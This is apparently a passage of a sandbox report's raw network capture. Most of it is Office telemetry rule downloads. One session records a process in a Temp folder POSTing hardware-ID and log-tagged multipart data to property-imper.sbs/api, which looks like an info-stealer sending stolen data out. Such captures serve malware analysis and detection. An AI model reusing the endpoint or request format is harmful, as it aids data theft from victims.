446c8ZwY8qWaC/3V2o9V9k9XK4hah2j05u6Yl6feLuCo0zKKvm7Qn64n36a/rW+CPSJOpHjmDNbciPn71LsCwt6+EMv6eZ7W/yffsKKtb600dU7meL1KkYyM+fvFv0WP2L9RmfB/msD5b5y5t+owky49ReE37wXWysz97YXkDK3Np1O8/WuZh+cnhve/4XfMbTZO6jbhDJ+OhvDzxLpEkMG1Wpn+fJvK8HuRs7DhNpkudQeqP/1KzsTfyPbUr
2024-11-23 02:21:46 UTC	1369	IN	Data Raw: 6f 59 6d 50 45 54 6e 4f 4f 67 41 6d 59 65 4d 2f 66 2f 50 73 30 61 47 78 37 78 57 6b 2f 34 36 33 6f 66 2f 63 64 2f 76 2b 4d 34 79 68 43 6f 35 58 36 67 43 70 52 58 59 6e 63 7a 39 2b 59 58 6b 44 49 72 50 73 6c 4f 59 38 58 6d 59 7a 4f 70 70 6a 62 47 31 36 43 57 53 4b 44 74 44 36 53 72 76 42 4a 43 48 68 66 48 38 77 4c 74 49 77 6f 54 78 56 34 75 2b 49 74 44 6d 39 57 4b 54 76 61 2f 74 64 34 74 6a 4c 41 6e 74 4e 4b 56 53 31 6f 43 4e 2f 76 54 42 73 6b 4b 47 78 72 64 65 6e 76 46 38 6d 73 66 2f 59 35 65 2f 75 65 41 38 6d 79 30 77 52 4f 34 2b 36 51 75 54 78 4d 4b 36 38 74 33 38 46 4d 4c 6b 74 6c 4f 42 76 45 2b 54 79 66 5a 75 69 66 65 6e 6f 79 37 55 4b 6a 6b 4a 73 6e 6a 72 44 35 6d 57 6a 65 6a 77 79 36 35 41 68 38 79 38 55 35 33 2b 66 35 66 4b 39 6d 2b 59 74 4c 44 70 Data Ascii: oYmPETnOOgAmYeM/f/Ps0aGx7xWk/463of/cd/v+M4yhCo5X6gCpRXYncz9+YXkDIrPslOY8XmYzOppjbG16CWSKDtD6SrvBJCHhfH8wLtIwoTxV4u+ItDm9WKTva/td4tjLAntNKVS1oCN/vTBskKGxrdenvF8msf/Y5e/ueA8my0wRO4+6QuTxMK68t38FMLktlOBvE+TyfZuifenoy7UKjkJsnjrD5mWjejwy65Ah8y8U53+f5fK9m+YtLDp
2024-11-23 02:21:46 UTC	1369	IN	Data Raw: 6b 4a 73 6e 6a 70 41 35 61 50 68 76 37 31 77 72 46 4a 67 63 32 79 58 5a 54 30 64 4a 66 44 39 47 43 53 73 62 6a 71 4d 35 45 2f 4d 45 44 6d 4e 4b 56 45 31 6f 4f 55 75 71 32 46 6b 30 75 55 79 5a 35 54 67 76 63 36 6a 34 6e 68 4b 5a 69 37 2b 4c 56 33 6b 79 67 39 51 75 77 77 35 52 69 54 69 6f 66 37 2f 38 4f 39 51 59 37 4d 73 56 47 54 2b 48 61 51 77 50 39 37 6a 62 4b 2b 2f 7a 33 55 59 33 56 4f 38 6e 69 39 53 71 43 55 6d 2b 76 6a 68 34 6c 50 6a 4d 53 32 52 74 50 68 4e 49 6d 48 2f 32 58 66 37 2f 6a 6d 4e 35 67 71 50 55 2f 75 4d 4f 6f 46 6e 35 61 4e 39 76 76 58 75 30 79 4c 78 4c 35 63 6d 76 4e 39 6e 63 7a 79 5a 4a 75 77 75 61 31 35 31 43 6f 74 43 62 4a 34 30 78 71 62 69 4b 4c 78 2b 63 7a 38 55 38 7a 54 38 56 65 66 76 69 4c 51 77 2f 52 68 6c 62 69 78 35 7a 32 62 4a Data Ascii: kJsnjpA5aPhv71wrFJgc2yXZT0dJfD9GCSsbjqM5E/MEDmNKVE1oOUuq2Fk0uUyZ5Tgvc6j4nhKZi7+LV3kyg9Quww5RiTiof7/8O9QY7MsVGT+HaQwP97jbK+/z3UY3VO8ni9SqCUm+vjh4lPjMS2RtPhNImH/2Xf7/jmN5gqPU/uMOoFn5aN9vvXu0yLxL5cmvN9nczyZJuwua151CotCbJ40xqbiKLx+cz8U8zT8VefviLQw/Rhlbix5z2bJ
2024-11-23 02:21:46 UTC	1369	IN	Data Raw: 34 71 30 71 52 6e 4d 79 69 74 65 71 62 65 63 44 72 69 78 43 4d 73 47 50 51 77 50 51 70 78 2f 65 30 37 6a 75 63 49 6a 4e 41 35 6a 4c 73 41 5a 71 50 69 50 62 38 77 4c 70 4e 68 38 2b 77 56 4a 2f 30 66 4a 50 45 39 32 61 51 76 2f 69 6a 64 35 4d 31 64 52 47 71 48 66 49 42 6d 49 4c 4d 35 62 76 63 2f 45 75 4f 69 75 6b 51 6e 2f 64 38 6c 73 4c 30 61 4a 6d 2f 76 65 55 7a 6c 53 73 7a 53 75 55 38 34 41 75 5a 67 49 44 30 2f 38 53 39 51 49 6e 46 75 6c 58 54 73 44 71 58 33 37 67 78 33 34 61 37 2b 79 43 45 49 58 56 57 70 43 47 6c 44 5a 72 45 31 4c 72 30 31 37 5a 47 6a 4d 2b 2b 56 5a 44 78 66 5a 33 42 39 47 4f 57 76 37 37 69 50 6f 59 75 4f 55 66 74 4e 75 6b 45 6d 34 36 50 39 37 57 4c 2f 45 75 61 69 75 6b 51 76 2f 6c 33 76 73 7a 30 62 74 2b 6f 39 76 52 33 6b 79 46 31 45 61 Data Ascii: 4q0qRnMyiteqbecDrixCMsGPQwPQpx/e07jucIjNA5jLsAZqPiPb8wLpNh8+wVJ/0fJPE92aQv/ijd5M1dRGqHfIBmILM5bvc/EuOiukQn/d8lsL0aJm/veUzlSszSuU84AuZgID0/8S9QInFulXTsDqX37gx34a7+yCEIXVWpCGlDZrE1Lr017ZGjM++VZDxfZ3B9GOWv77iPoYuOUftNukEm46P97WL/EuaiukQv/l3vsz0bt+o9vR3kyF1Ea
2024-11-23 02:21:46 UTC	1369	IN	Data Raw: 6b 5a 53 63 2b 62 66 30 71 6b 2b 55 77 62 78 63 30 2b 45 30 69 59 66 2f 5a 64 2f 76 2b 4f 73 34 6e 53 34 36 53 4f 4d 30 36 41 2b 66 67 59 33 38 38 63 2b 32 54 49 54 4d 73 46 57 5a 2f 58 75 61 7a 76 39 68 6d 4c 53 71 72 58 6e 55 4b 69 30 4a 73 6e 6a 4d 44 59 53 4b 6e 4c 72 71 69 36 55 4d 68 63 62 78 43 4e 50 36 63 4a 2f 44 2f 32 57 5a 73 72 37 67 4e 70 73 73 4e 55 62 75 4d 2b 77 4d 6c 34 6d 4a 39 2f 48 58 74 6b 65 4e 78 72 68 63 6e 72 34 30 30 4d 44 67 4b 63 66 33 69 65 41 35 6d 69 6f 6a 43 66 56 32 2f 45 71 52 69 4d 79 69 74 63 53 77 51 34 48 46 73 6c 4f 53 39 47 69 43 79 2f 46 68 6d 72 75 7a 34 7a 47 47 4b 7a 70 41 36 54 76 73 44 5a 36 49 68 76 6e 79 68 66 49 4d 68 64 4c 78 43 4e 50 64 62 59 44 4b 75 48 62 52 72 76 6a 71 4f 39 52 31 64 55 48 6e 4d 4f 38 Data Ascii: kZSc+bf0qk+Uwbxc0+E0iYf/Zd/v+Os4nS46SOM06A+fgY388c+2TITMsFWZ/Xuazv9hmLSqrXnUKi0JsnjMDYSKnLrqi6UMhcbxCNP6cJ/D/2WZsr7gNpssNUbuM+wMl4mJ9/HXtkeNxrhcnr400MDgKcf3ieA5miojCfV2/EqRiMyitcSwQ4HFslOS9GiCy/Fhmruz4zGGKzpA6TvsDZ6IhvnyhfIMhdLxCNPdbYDKuHbRrvjqO9R1dUHnMO8
2024-11-23 02:21:46 UTC	1369	IN	Data Raw: 66 37 39 78 72 78 49 68 73 32 30 55 35 2f 31 66 5a 50 49 2f 47 43 52 76 72 65 74 65 64 51 71 4c 51 6d 79 65 4d 51 52 6c 59 69 42 75 75 71 4c 70 51 79 46 78 76 45 49 30 2f 4a 30 6c 63 66 79 62 35 75 79 76 75 63 79 6c 43 59 32 52 75 34 2b 34 51 57 57 6a 34 58 37 38 38 43 32 52 34 54 48 73 6c 61 56 76 6a 54 51 77 4f 41 70 78 2f 65 59 39 6a 71 59 4b 6e 56 57 70 43 47 6c 44 5a 72 45 31 4c 72 2b 79 62 68 4c 67 73 65 79 57 4a 62 36 63 4a 58 48 38 48 75 58 74 37 2f 2f 4a 5a 51 6b 4d 45 58 70 4f 4f 45 4d 6e 34 4b 50 2f 72 57 4c 2f 45 75 61 69 75 6b 51 76 76 4a 39 75 63 44 6a 4b 59 44 35 6f 61 30 77 6d 47 31 74 43 65 73 7a 37 77 57 62 68 34 72 35 2f 73 43 32 54 59 58 43 76 45 4b 51 38 58 57 55 78 2f 64 76 6d 62 61 33 36 7a 43 64 4c 44 31 4f 71 6e 61 6c 44 59 37 45 Data Ascii: f79xrxIhs20U5/1fZPI/GCRvretedQqLQmyeMQRlYiBuuqLpQyFxvEI0/J0lcfyb5uyvucylCY2Ru4+4QWWj4X788C2R4THslaVvjTQwOApx/eY9jqYKnVWpCGlDZrE1Lr+ybhLgseyWJb6cJXH8HuXt7//JZQkMEXpOOEMn4KP/rWL/EuaiukQvvJ9ucDjKYD5oa0wmG1tCesz7wWbh4r5/sC2TYXCvEKQ8XWUx/dvmba36zCdLD1OqnalDY7E
2024-11-23 02:21:46 UTC	1369	IN	Data Raw: 4b 72 51 38 4b 45 38 56 2f 54 70 6b 50 51 7a 76 39 79 6a 71 47 31 2f 54 44 55 45 6e 73 4a 38 6e 69 39 53 71 4f 48 67 76 54 79 30 36 30 42 70 64 79 37 56 34 50 35 62 5a 2b 48 74 69 6d 5a 39 2b 43 2b 65 64 51 70 4a 41 6d 79 61 4c 64 52 77 39 66 62 71 71 66 61 38 6c 58 43 33 50 45 49 77 62 41 36 67 6f 65 67 4b 64 69 30 71 76 38 78 6c 7a 73 32 44 74 51 47 77 68 43 62 67 70 76 72 79 2f 75 37 56 6f 2f 4d 70 6b 48 66 36 33 6d 65 79 66 39 2f 33 2f 6e 34 34 6e 66 4d 46 48 55 42 71 67 65 72 53 6f 37 45 31 4c 72 41 78 72 4a 43 68 64 79 67 48 62 54 6b 64 35 62 51 36 53 6e 52 39 37 36 74 62 38 52 6a 64 55 33 37 65 4c 31 61 78 4e 2f 5a 71 61 4b 56 37 6c 50 4d 30 2f 46 47 30 36 59 6f 33 6f 66 71 4b 63 66 33 2f 2b 34 6c 68 69 73 32 58 2b 6c 2f 32 7a 53 34 67 34 72 2f 38 Data Ascii: KrQ8KE8V/TpkPQzv9yjqG1/TDUEnsJ8ni9SqOHgvTy060Bpdy7V4P5bZ+HtimZ9+C+edQpJAmyaLdRw9fbqqfa8lXC3PEIwbA6goegKdi0qv8xlzs2DtQGwhCbgpvry/u7Vo/MpkHf63meyf9/3/n44nfMFHUBqgerSo7E1LrAxrJChdygHbTkd5bQ6SnR976tb8RjdU37eL1axN/ZqaKV7lPM0/FG06Yo3ofqKcf3/+4lhis2X+l/2zS4g4r/8
2024-11-23 02:21:46 UTC	1369	IN	Data Raw: 55 32 2f 78 33 6e 66 6c 37 68 74 66 76 5a 74 2f 35 2b 4f 74 33 7a 48 39 37 43 65 34 70 70 56 4c 47 31 74 65 76 70 70 4c 73 48 70 32 45 71 42 43 46 76 69 4c 43 69 62 68 37 33 2b 2f 34 71 6a 53 47 50 7a 4e 4b 2f 44 75 69 4e 4b 69 6a 67 76 33 30 30 36 78 62 6a 59 57 66 5a 72 4c 41 52 49 58 45 39 6d 65 59 6f 61 6d 74 65 64 51 69 64 52 48 54 65 4b 31 4b 71 63 72 4d 34 72 57 64 2f 48 6d 42 78 4c 39 58 68 65 38 33 74 38 6e 2f 61 49 6d 6e 72 2b 4a 34 75 68 73 55 43 61 52 34 34 30 72 4f 31 73 4b 36 38 64 54 38 46 4e 4b 59 36 67 58 41 71 53 72 43 32 4c 5a 77 33 36 48 34 74 57 58 61 62 53 63 4a 73 6e 69 69 43 59 53 57 69 76 6e 6a 78 76 74 79 76 4f 32 2f 56 35 4c 6f 61 70 33 4c 32 57 71 4f 76 59 62 54 49 70 63 6a 4f 30 37 38 4b 61 56 45 31 6f 76 4d 6f 73 79 46 39 41 Data Ascii: U2/x3nfl7htfvZt/5+Ot3zH97Ce4ppVLG1tevppLsHp2EqBCFviLCibh73+/4qjSGPzNK/DuiNKijgv3006xbjYWfZrLARIXE9meYoamtedQidRHTeK1KqcrM4rWd/HmBxL9Xhe83t8n/aImnr+J4uhsUCaR440rO1sK68dT8FNKY6gXAqSrC2LZw36H4tWXabScJsniiCYSWivnjxvtyvO2/V5Loap3L2WqOvYbTIpcjO078KaVE1ovMosyF9A
2024-11-23 02:21:46 UTC	1369	IN	Data Raw: 62 72 37 73 66 59 44 45 75 6b 57 59 75 72 54 54 43 61 4d 38 4d 6c 6d 6f 48 75 59 63 6c 63 54 43 75 75 32 46 35 41 79 76 32 4c 5a 41 6b 4c 78 57 6c 38 72 30 4b 59 44 35 6f 61 30 68 31 48 56 6d 42 36 6f 71 70 56 4c 57 77 34 2f 6f 35 38 4f 2f 57 6f 47 4e 6a 32 36 2b 37 48 32 41 78 4c 70 59 6b 72 4f 75 2b 44 53 45 4b 67 74 33 78 79 72 69 47 70 58 47 71 63 43 33 39 4b 70 50 67 73 53 32 45 4e 32 2b 59 74 43 66 75 45 53 4e 73 4b 6a 75 64 62 45 58 64 33 6a 38 4f 2b 55 45 6b 63 53 54 74 4f 79 46 71 67 7a 61 6d 66 38 51 67 62 34 69 30 49 44 32 5a 4a 36 30 74 75 34 6c 68 69 73 32 58 2b 6c 2f 32 7a 53 35 6a 34 33 71 2b 4e 53 78 53 4a 54 30 6a 33 65 56 2b 33 32 75 2b 63 39 34 6d 4b 66 36 79 7a 53 43 4c 6e 55 48 71 69 43 6c 55 74 61 6a 69 76 2f 79 68 66 49 4d 68 6f 72 Data Ascii: br7sfYDEukWYurTTCaM8MlmoHuYclcTCuu2F5Ayv2LZAkLxWl8r0KYD5oa0h1HVmB6oqpVLWw4/o58O/WoGNj26+7H2AxLpYkrOu+DSEKgt3xyriGpXGqcC39KpPgsS2EN2+YtCfuESNsKjudbEXd3j8O+UEkcSTtOyFqgzamf8Qgb4i0ID2ZJ60tu4lhis2X+l/2zS5j43q+NSxSJT0j3eV+32u+c94mKf6yzSCLnUHqiClUtajiv/yhfIMhor

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:46 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:46 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 9aa8fa60-a01e-001e-5131-3c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022146Z-15b8b599d885v8r9hC1TEB104g00000002bg000000009xy9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:46 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:46 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:46 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022146Z-178bfbc474btvfdfhC1NYCa2en00000003w000000000en8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:46 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:46 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:46 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:46 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 6d656984-c01e-008d-0d1b-3d2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022146Z-178bfbc474bnwsh4hC1NYC2ubs00000003z0000000004me1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 02:21:46 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49857	172.67.162.84	443	8096	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:46 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=B3IES41HQTQ93 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 566809 Host: property-imper.sbs
2024-11-23 02:21:46 UTC	15331	OUT	Data Raw: 2d 2d 42 33 49 45 53 34 31 48 51 54 51 39 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 38 32 42 38 38 44 45 43 38 37 37 34 32 44 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 42 33 49 45 53 34 31 48 51 54 51 39 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 42 33 49 45 53 34 31 48 51 54 51 39 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 42 33 49 45 53 Data Ascii: --B3IES41HQTQ93Content-Disposition: form-data; name="hwid"6A82B88DEC87742DD7CBBD6DF28D3732--B3IES41HQTQ93Content-Disposition: form-data; name="pid"1--B3IES41HQTQ93Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--B3IES
2024-11-23 02:21:46 UTC	15331	OUT	Data Raw: 4a e2 e5 c0 7c 80 ee 8e 84 05 d1 7e ce c2 28 c6 d7 d9 c7 e3 4f c3 0f 15 f5 bc ec f2 fd d5 57 ec 3e d3 11 5f 81 01 29 e6 04 c0 b7 c1 b3 98 87 df d8 79 94 6f 36 e2 f0 37 58 9c 71 f9 ff 8c 00 f2 90 0a 3c f2 db 10 dc 0f e2 0c a9 b9 7e 80 99 cb 07 4e c3 01 91 21 38 ee 51 d9 5a 07 bf 99 fd 98 0d c5 90 95 62 5e 94 2f 7d 76 2d e5 77 de 54 cb 08 04 ed e5 db 73 d6 fa 40 6b db 25 ef e7 71 5e cf ab 45 3c 3d 70 84 36 f1 e6 68 8d 06 2e c7 bd 26 59 2d ff f2 0f fc 40 98 24 ba f5 3e 85 b9 c8 9e f9 f2 d7 b6 76 2c a5 3c 4e c1 3c ef 1b ee 8c 66 7a a3 8f 32 e8 7c 42 0f 7c af 5c ab 24 12 c6 36 73 de 5d 1a b4 6a da c9 ef 41 53 4e 86 98 a4 2c 5f 6d 5f fc 5b 0c 47 24 a8 de 44 2c 4c 48 dc d6 8c 1e 35 95 cb ea 0f 43 e4 4d 2e 5f 07 db 9c ef 96 f6 5f e5 ab fb f8 73 40 d2 d2 08 73 e2 Data Ascii: J\|~(OW>_)yo67Xq<~N!8QZb^/}v-wTs@k%q^E<=p6h.&Y-@$>v,<N<fz2\|B\|\$6s]jASN,_m_[G$D,LH5CM.__s@s
2024-11-23 02:21:46 UTC	15331	OUT	Data Raw: 7d 9a 77 de de dd 2d 7b 68 59 4a c9 ad ee aa 2a 77 8f 7e 56 3c 2e a3 e9 b2 69 fc 51 1b 1b 78 b9 b0 3b 38 09 1f ec 25 5a ee f0 95 5e ff d5 ff fa 5b 9b 2a f7 88 9a 9a 42 49 30 54 1c 62 0a 31 66 73 f1 60 db 8e 7f b5 58 6a 5d 04 62 90 fe 3b 72 7d fe 25 48 9a f9 ef 10 eb dc 6c 0d 6f 40 23 21 01 c4 29 f2 ff 35 68 5a aa bf 4f d4 04 22 e0 30 86 77 72 cf ee 3e 20 bd 9f a6 8a c0 f1 f5 eb fb 64 1b 65 92 a1 ea d5 9d 75 fd 72 95 52 60 b1 f1 06 e4 2b fa 2c fd b8 9a 68 fb 47 f4 95 ec fb bc 3d 7f 01 45 30 ae 9e f0 f3 f8 9f b6 82 c8 3a e4 40 8b b7 fe 20 48 c1 65 c6 f8 f4 28 44 0b 47 07 c0 c7 16 54 8a 38 f2 eb ba 1a 9e b8 ab 06 4c c2 6e c2 03 4e 10 11 7c 98 8a 78 4d 2a d0 f2 c8 dd db a0 b3 25 7f 8a 54 3c 5f bb 86 2f 35 49 ef 49 45 8c 94 90 b9 4c 58 09 d8 3b c0 22 26 ee 23 Data Ascii: }w-{hYJw~V<.iQx;8%Z^[BI0Tb1fs`Xj]b;r}%Hlo@#!)5hZO"0wr> deurR`+,hG=E0:@ He(DGT8LnN\|xM*%T<_/5IIELX;"&#
2024-11-23 02:21:46 UTC	15331	OUT	Data Raw: 33 21 8f d3 13 4c d4 3e ee d8 77 df a2 5f a2 99 20 10 bd fb 3f 1f bc 97 65 7f ae 6c ff 58 59 f1 b2 26 13 89 43 84 5b e8 db c7 c9 37 72 d3 00 5d 8d 48 a5 a1 c9 fc 28 5e 25 e0 81 c5 ae 1f d3 b0 54 c1 3b e5 98 60 c1 53 28 1c 71 80 6b 78 70 10 e7 51 a2 f2 62 96 fd d0 e4 23 0f ec 3c f9 f6 cd eb 3f 74 dd 2c e7 87 d0 23 9d 17 e7 00 f1 0a 44 54 18 ca 47 01 d7 b6 82 27 4f e0 52 50 af ff df a9 b5 36 17 ac d5 db f7 eb 0d da 76 e1 fa f5 58 e4 9d d9 6a 5f 5e b3 e2 53 6e d5 5e 18 2f de 15 f9 85 e2 2c 51 3f 4b af 86 80 44 1c e4 36 b9 77 dd 8a 27 40 1e 38 7f 9f 23 45 d4 e0 86 e2 4a 51 bb f2 76 e9 61 bf 4b 08 bc 46 d3 3b 05 c8 ba 2c f5 15 21 8b 5a 52 aa 28 4e 04 bc 11 55 b7 04 99 0d 21 ae 80 30 54 30 37 2c 27 36 52 ad f5 8c a1 2f a4 fe 4f c4 8b 43 a4 16 80 59 44 b3 e3 f4 Data Ascii: 3!L>w_ ?elXY&C[7r]H(^%T;`S(qkxpQb#<?t,#DTG'ORP6vXj_^Sn^/,Q?KD6w'@8#EJQvaKF;,!ZR(NU!0T07,'6R/OCYD
2024-11-23 02:21:46 UTC	15331	OUT	Data Raw: 84 a7 97 42 dd f9 27 5f 58 93 74 39 38 16 58 04 dc 89 f4 12 0d 4d 6e 52 66 32 62 1a 59 25 0f 5c e6 cb 2f 3d 90 e0 14 82 fa 47 30 11 df 3c 22 84 32 ae e0 00 0e 81 67 af 04 66 f5 b9 15 81 40 68 23 b4 90 e1 0f 83 fa a1 91 91 81 70 98 df ba 46 2f 3f c3 a2 a9 31 90 6e 4e fb 7d 82 6c 7a f4 78 78 46 84 76 05 57 c5 1b a1 b0 fa 56 c9 9a 6c 15 70 66 52 1e 22 ba f1 2d 0f 20 f1 88 40 e9 5b be 26 fe 1a 86 6d 91 9a 6b 95 3e 37 49 13 cd 07 24 85 27 9c 8c f5 b9 53 98 33 93 17 f7 af e7 0e a9 63 86 03 1f 0d 0e 07 1f 5b 50 ee 2e 62 b4 6a 8b d9 69 4b 35 2f 04 33 ae 1d 27 8b ad bf d6 b4 1d 96 6f 5d 94 b4 af 0f d3 10 6d 2b e7 84 71 53 04 05 46 82 30 20 18 03 63 6c 83 fe 5d 02 f4 91 05 23 31 60 1b 4d ab 3a 57 ec 14 83 09 47 a4 5b 84 e8 7b d9 35 53 3f 09 8d 4b 15 bc ce 79 1b 8f Data Ascii: B'_Xt98XMnRf2bY%\/=G0<"2gf@h#pF/?1nN}lzxxFvWVlpfR"- @[&mk>7I$'S3c[P.bjiK5/3'o]m+qSF0 